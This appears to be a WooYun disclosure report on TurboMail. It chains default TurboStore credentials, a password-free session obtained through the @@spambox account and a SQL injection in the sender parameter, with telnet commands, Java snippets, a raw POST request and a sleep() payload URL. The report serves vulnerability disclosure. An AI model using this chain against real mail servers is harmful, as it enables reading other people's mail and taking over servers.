当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176317

漏洞标题:TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

相关厂商:turbomail.org

漏洞作者: applychen

提交时间:2016-02-17 08:50

修复时间:2016-05-17 15:10

公开时间:2016-05-17 15:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

三连击,官网中招。

详细说明:

TurboMail在安装完毕之后会有多个应用打开端口监听数据,其中有一个叫做TurboStore是用于存储邮件信息的的核心组件。

1.png


TurboStore打开的端口是9668

2.png


在/conf/server.xml中的配置如下:

<TSSERVER>
<TSSERVER_ENABLE>TRUE</TSSERVER_ENABLE>
<TSSERVER_LISTEN_SIZE>15</TSSERVER_LISTEN_SIZE>
<TSSERVER_SESSION_TIMEOUT>30</TSSERVER_SESSION_TIMEOUT>
<TSSERVER_MAX_THREADS>30</TSSERVER_MAX_THREADS>
<TSSERVER_TIMEOUT>60</TSSERVER_TIMEOUT>
<TSSERVER_USERNAME>admin</TSSERVER_USERNAME>
<TSSERVER_PASSWORD>YWRtaW4zMjE=3D</TSSERVER_PASSWORD>
<TSSERVER_GTS_PATH></TSSERVER_GTS_PATH>
<TSSERVER_ALLOW_IP></TSSERVER_ALLOW_IP>
<TSSERVER_LISTENERS>
<LISTENER>
<IP>all</IP>
<PORT>9668</PORT>
<SSL>FALSE</SSL>
</LISTENER>
</TSSERVER_LISTENERS>
</TSSERVER>


从上面可以看到TurboStore需要登录,而用户名密码默认分别为admin/admin321,使用telnet登录如下:

telnet **.**.**.** 9668
login admin admin321
quit


3.png


经过以上可以看出TurboStore是未限定IP登录的,测试官方同样能够成功登录:

telnet **.**.**.** 9668
login admin admin321
quit


4.png


TurboStore的通信数据结构,类似如下:

json cmd :{"cmd":"getfoldersinfo","param":{"folderlist":["del","draft","exception","new","send","spam","virus"],"useraccount":"test@root"},"login_password":"admin321","login_user":"admin"}


系统中有完整的通信实现代码如下:

/*      */   public static String getnextmsgid(String username, String domain, String mbtype, String msgid, boolean bUp, int iSortType, int iNew)
/* */ throws Exception
/* */ {
/* 303 */ if (mbtype != null) {
/* 304 */ if (mbtype.equals("virusbox")) {
/* 305 */ username = "@@virusbox";
/* 306 */ domain = null;
/* 307 */ mbtype = "new";
/* 308 */ } else if (mbtype.equals("spambox")) {
/* 309 */ username = "@@spambox";
/* 310 */ domain = null;
/* 311 */ mbtype = "new";
/* */ }
/* */ }
/* */
/* 315 */ Session ses = m_SessionManager.getSession();
/* */
/* 317 */ if (ses == null) {
/* 318 */ if (m_log != null)
/* 319 */ m_log.log("0", 1, 30721,
/* 320 */ "fail to get TurboStore JSONSession(" +
/* 321 */ m_SessionManager.getDesc() + ")");
/* 322 */ return null;
/* */ }
/* */
/* 325 */ IntObj ioRet = new IntObj();
/* */
/* 327 */ JSONObject jsonRet = null;
/* */ try
/* */ {
/* 330 */ JSONObject jsonParam = new JSONObject();
/* */
/* 332 */ if (domain == null)
/* 333 */ jsonParam.put("useraccount", username);
/* */ else
/* 335 */ jsonParam.put("useraccount", username + "@" + domain);
/* 336 */ if (mbtype != null)
/* 337 */ jsonParam.put("mbtype", mbtype);
/* 338 */ if (msgid != null) {
/* 339 */ jsonParam.put("msgid", msgid);
/* */ }
/* 341 */ jsonParam.put("up", bUp ? 1 : 0);
/* 342 */ jsonParam.put("sorttype", iSortType);
/* */
/* 344 */ jsonParam.put("new", iNew);
/* */
/* 346 */ jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);
/* */ } catch (Exception e) {
/* 348 */ e.printStackTrace();
/* */ }
/* */
/* 351 */ m_SessionManager.returnSession(ses);
/* */
/* 353 */ if (jsonRet == null) {
/* 354 */ return null;
/* */ }
/* 356 */ int iRetCode = jsonRet.getInt("retcode");
/* 357 */ if (iRetCode != 0) {
/* 358 */ return null;
/* */ }
/* 360 */ String strNextMsgid = null;
/* */
/* 362 */ if (jsonRet.has("msgid")) {
/* 363 */ strNextMsgid = jsonRet.getString("msgid");
/* */ }
/* 365 */ return strNextMsgid;
/* */ }


其中的jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);中的getnextmsgid就是cmd,系统中大概有这么几个cmd:

getmsg
getnextmsgid
getmsglist
getmsgnum
addmsg
settag
delmsg
delfoldermsg


每个cmd对应不同的参数,下面以官网(http://**.**.**.**:8080/)为例获取其中的tech@**.**.**.**邮箱的收件信息,部分利用代码如下:

m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null);
jsonParam.put("useraccount","tech@**.**.**.**");
jsonParam.put("mbtype", "new");
jsonParam.put("items", 50);
jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet);
String strRet = jsonRet.toString();
out.println(strRet);


把测试文件放到本地搭建的TurboMail服务器的根目录然后访问,得到前50个邮件:

5.png


通过addmsg以及delmsg还可以添加删除邮件,危害较大这里就不演示了。
下面来来分析如何获取webmail权限,TurboMail是基于sessionid来进行权限验证,登录后分配一个sessionid作为验证凭证,类似于这样:

http://**.**.**.**:8080/tmw/7/next/loading.jsp?sessionid=2cedc64He_0
http://**.**.**.**:8080/tmw/7/mailmain?flag=-1&intertype=ajax&type=getmaillist&sessionid=2cedc64He_0&mbtype=spam&onlynew=false&start=0&limit=50&where=false


因此主要目标是获取这个sessionid,来看下面的代码,在入口程序MailMain.java中引用了ShowMsg.showAbstract(request, response):

else if (type.equals("showmsgabstract")) {
ShowMsg.showAbstract(request, response);


ShowMsg.showAbstract(request, response)主要代码如下:

/*      */   public static void showAbstract(HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 669 */ showAbstract(false, request, response);
/* */ }
/* */
/* */ public static void showAbstract(boolean bAjax, HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 685 */ String receiveaccount = request.getParameter("receiveaccount");
……
/* */
/* 697 */ MailSession ms = null;
/* */
/* 699 */ if (ServerConf.b_SYS_GATEWAY_MODE) {
/* 700 */ ms = MailSession.getGwuserSession(receiveaccount);
/* */ }
/* 702 */ else if (receiveaccount.equals("@@spambox"))
/* 703 */ ms = MailSession.getGwuserSession("spambox", "root");
/* */ else {
/* 705 */ ms = MailSession.makeSimpleSession(receiveaccount);
/* */ }
/* */
/* 709 */ if (ms == null) {
/* 710 */ if (bAjax)
/* 711 */ AjaxUtil.ajaxFail(request, response, "info.rcpterror", null);
/* */ else
/* 713 */ XInfo.gotoInfo(null, request, response, "info.rcpterror", null,
/* 714 */ 0);
/* 715 */ return;
/* */ }
/* */
……
/* */
/* 757 */ String mbid = request.getParameter("mbid");
/* 758 */ if (mbid == null) {
/* 759 */ mbid = "0";
/* */ }
/* */
/* 762 */ String strNext = request.getParameter("next");
/* */
/* 764 */ if (strNext == null) {
/* 765 */ strNext = "";
/* */ }
/* */
/* 768 */ String mbtype = request.getParameter("mbtype");
/* 769 */ if (mbtype == null) {
/* 770 */ mbtype = "new";
/* */ }
/* 772 */ if (!Util.dirSafe(mbtype)) {
/* 773 */ if (bAjax)
/* 774 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null);
/* */ else
/* 776 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck",
/* 777 */ null, 0);
/* 778 */ return;
/* */ }
/* */
……
/* 792 */ String strMsgid = request.getParameter("msgid");
/* 793 */ if (strMsgid == null) {
/* 794 */ strMsgid = "0";
/* */ }
/* 796 */ strMsgid = Util.formatRequest(strMsgid, MailMain.s_os,
/* 797 */ SysConts.New_InCharSet);
/* */
/* 799 */ if (!Util.dirSafe(strMsgid)) {
/* 800 */ if (bAjax)
/* 801 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null);
/* */ else
/* 803 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck",
/* 804 */ null, 0);
/* 805 */ return;
/* */ }
/* */
/
/* 816 */ String useraccount = request.getParameter("useraccount");
/* */
/* 818 */ String spamUserName = Util.getUsername(ServerConf.AS_SPAMBOX);
/* 819 */ String spamDomain = Util.getDomain(ServerConf.AS_SPAMBOX);
/* 820 */ if ((spamUserName.equals("")) || (spamDomain.equals("")))
/* */ {
/* 822 */ if (bAjax)
/* 823 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else {
/* 825 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 826 */ null, 0);
/* */ }
/* 828 */ ms.logoutAndRemove();
/* 829 */ return;
/* */ }
/* */
/* 832 */ UserInfo abstractUserInfo = UserInfo.getSimpleUserInfo(spamUserName,
/* 833 */ spamDomain);
/* */
/* 851 */ if (!bAjax) {
/* */
/* 869 */ String strMailFolderPath = null;
/* 880 */ strMailFolderPath =
/* 881 */ UserAccount.getSuitUserPath(spamUserName,
/* 881 */ spamDomain) +
/* 882 */ SysConts.FILE_SEPARATOR +
/* 883 */ "spambox" +
/* 884 */ SysConts.FILE_SEPARATOR + strMsgid;
/* */
/* 886 */ File flMsg = new File(strMailFolderPath);
/* */
/* 888 */ if ((!flMsg.exists()) &&
/* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) {
/* 890 */ if (bAjax)
/* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else
/* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 894 */ null, 0);
/* 895 */ ms.logoutAndRemove();
/* 896 */ return;
/* */ }
/* */
……
/* */
/* 948 */ RequestDispatcher rd = null;
/* */
……
/* */
/* 981 */ String url = null;
/* */
/* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" +
/* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() +
/* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" +
/* 993 */ strMsgid + "&receiveaccount=" + receiveaccount;
/* */
/* 996 */ rd = request.getRequestDispatcher(url);
/* */ }
/* */
/* 999 */ String tagsymbol = request.getParameter("tagsymbol");
/* 1000 */ request.setAttribute("tagsymbol", tagsymbol);
/* 1001 */ if (!bAjax)
/* 1002 */ rd.forward(request, response);
/* */ }


程序首先通过request.getParameter("receiveaccount")获取到receiveaccount的值,如果这个值为@@spambox则调用ms = MailSession.getGwuserSession("spambox", "root");产生一个mailsession ms。注意这里没有验证密码就直接得到ms!
然后获取String strMsgid = request.getParameter("msgid"),这个strMsgid经过过滤进入到以下流程中:

strMailFolderPath = 
/* 881 */ UserAccount.getSuitUserPath(spamUserName,
/* 881 */ spamDomain) +
/* 882 */ SysConts.FILE_SEPARATOR +
/* 883 */ "spambox" +
/* 884 */ SysConts.FILE_SEPARATOR + strMsgid;
/* */
/* 886 */ File flMsg = new File(strMailFolderPath);
/* */
/* 888 */ if ((!flMsg.exists()) &&
/* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) {
/* 890 */ if (bAjax)
/* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else
/* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 894 */ null, 0);
/* 895 */ ms.logoutAndRemove();
/* 896 */ return;
/* */ }


由strMsgid组合而成的路径strMailFolderPath,如果strMailFolderPath这个文件不存在的话则程序退出。来看看这个strMailFolderPath文件是啥样子的:

6.png


152E9491193.tbdata是一个时间戳数字经过16进制转换而成的文件名,这个文件名如果要枚举的话次数在百亿以上显然是不现实的,看下面的代码:

/*  843 */         strMsgid = MessageAdmin.getNextMsgId(ms, 
/* 844 */ abstractUserInfo.domain, abstractUserInfo.getUid(),
/* 845 */ mbtype, strMsgid, 0, false, bOnlyNew);


MessageAdmin.getNextMsgId()是从TurboStore中查询数据,那么strMsgid很有可能是存储在TurboStore中,于是查询@@spambox用户得到strMsgid:

m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null);
jsonParam.put("useraccount","@@spambox");
jsonParam.put("mbtype", "spam");
jsonParam.put("items", 50);
jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet);
String strRet = jsonRet.toString();
out.println(strRet);


7.png


152E9491193_tb_5059_10313
152E9491193_tb_3344_5041


在这里将msgid赋值为152E9491193_tb_3344_5041则顺利通过,到最后ms.session_id(也就是Sessionid)作为参数使用rd.forward重定向到msgabstractheader.jsp,如下:

/*  990 */       url = "enterprise/msgabstractheader.jsp?sessionid=" + 
/* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() +
/* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" +
/* 993 */ strMsgid + "&receiveaccount=" + receiveaccount;
/* */
/* 996 */ rd = request.getRequestDispatcher(url);
/* */ }
/* */
/* 999 */ String tagsymbol = request.getParameter("tagsymbol");
/* 1000 */ request.setAttribute("tagsymbol", tagsymbol);
/* 1001 */ if (!bAjax)
/* 1002 */ rd.forward(request, response);


而msgabstractheader.jsp也把sessionid做为参数传走:

String sessionid= ms.session_id;
String url = "sessionid=" + sessionid + "&mbtype=" + mbtype + "&msgid=" + strMsgid +
"&useraccount=" + useraccount + "&receiveaccount=" + receiveaccount;
<td height="24" colspan="4" align="left" bgcolor="#FFFFFF"><iframe
src="mailmain?type=msgabstractcontent&<%=url%>" id="test" width="100%" height="450"
scrolling="auto" frameborder="0"> </iframe>


整个获取sessionid的POST数据包如下:

POST /mailmain HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://gw2.**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=1455474084001_31861_tm&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=qqqq&receiveaccount=@@spambox
Cookie: tm_last_login_uid=postmaster; tm_last_login_domain=root; safelogin=true; JSESSIONID=E576B03397408FD15BC19BEDD580EDF9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
type=showmsgabstract&receiveaccount=%40%40spambox&useraccount=%40%40spambox&msgid=152E9491193_tb_18_1611&lang=SIMPLIFIED_CHINESE


然后在返回中找到sessionid:

8.png


这个Sessionid可用于登录验证(有时效性),能够访问webmail的大多数应用:

http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=3481b15H27_0.g&type=getListAddressList&addressid=test
http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=54878a0H379_0.g&type=getListAddressList&addressid=test
http://**.**.**.**:8080/mailmain?type=getUserList&department=&domain=root&intertype=ajax&key=&searchfield=&searchvalue=&sessionid=54878a0H379_0.g


9.png


获取到权限之后就可以进行SQL注射了在入口程序AjaxMain.java中调用方法:

/* 810 */             else if ("sumsendfailmsgstat".equals(type))
/* 811 */ StatisticAdmin.sendFailMailStatistics(request, response);


StatisticAdmin.sendFailMailStatistics()定义如下:

public static void sendFailMailStatistics(HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 451 */ MailSession ms = WebUtil.getms(request, response);
/* 452 */ if (ms == null) {
/* 453 */ AjaxUtil.ajaxFail(request, response, "info.nologin", null);
/* 454 */ return;
/* */ }
/* */
/* 457 */ UserInfo userinfo = ms.userinfo;
/* 458 */ if (userinfo == null) {
/* 459 */ AjaxUtil.ajaxFail(request, response, "info.loginfail", null);
/* 460 */ return;
/* */ }
String sender = WebUtil.getParameter(request, true, "sender");
if (bFuzzy) {
/* 503 */ if (!StringUtils.isEmpty(sender))
/* 504 */ querySql = querySql + " and f_from like '%" + sender + "%' ";
/* 505 */ if (!StringUtils.isEmpty(receiver))
/* 506 */ querySql = querySql + "and f_to like '%" + receiver + "%'";
/* */ } else {
/* 508 */ if (!StringUtils.isEmpty(sender))
/* 509 */ querySql = querySql + " and f_from = '" + sender + "' ";
/* 510 */ if (!StringUtils.isEmpty(receiver))
/* 511 */ querySql = querySql + "and f_to = '" + receiver + "'";
/* */ }
/* 513 */ String countSql = "select count(1) from (" + tableName + ") t where " + querySql;
/* 530 */ conn = StatisticsDB.getConnection();
/* 531 */ ps = conn.prepareStatement(countSql);
/* 532 */ rs = ps.executeQuery();


程序获取sender的值直接拼接进入SQL查询导致了SQL注射发生:

http://**.**.**.**:8080/mailmain?type=sumsendfailmsgstat&intertype=ajax&sessionid=585d6f6H37a_0.g&sender=-1%27union%20all%20select%20sleep%285%29%23&startDate=20160216&endDate=20160216


通过SQL注射能够GETSHELL,读取文件等操作之前写过了这里就不再赘述。
列一些受影响的域名/ip:

**.**.**.**
gw1.**.**.**.**
gw2.**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**

漏洞证明:

同上

修复方案:

限定能访问TurboStore的IP地址以及参数化查询SQL语句

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-02-17 15:04

厂商回复:

确认漏洞,通知客户修改默认密码

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-17 08:57 | pudding2 ( 普通白帽子 | Rank:121 漏洞数:43 | 新人报道,请多关照)

    膜拜大神

  2. 2016-02-17 09:03 | luwikes ( 普通白帽子 | Rank:552 漏洞数:83 | 潜心学习~~~)

    膜拜

  3. 2016-02-21 20:50 | applychen 认证白帽子 ( 普通白帽子 | Rank:629 漏洞数:54 | 万古漫漫长如夜)

    评分略低啊,这默认配置我估计大部分人都不会修改。

  4. 2016-02-24 21:41 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)

    略屌 略屌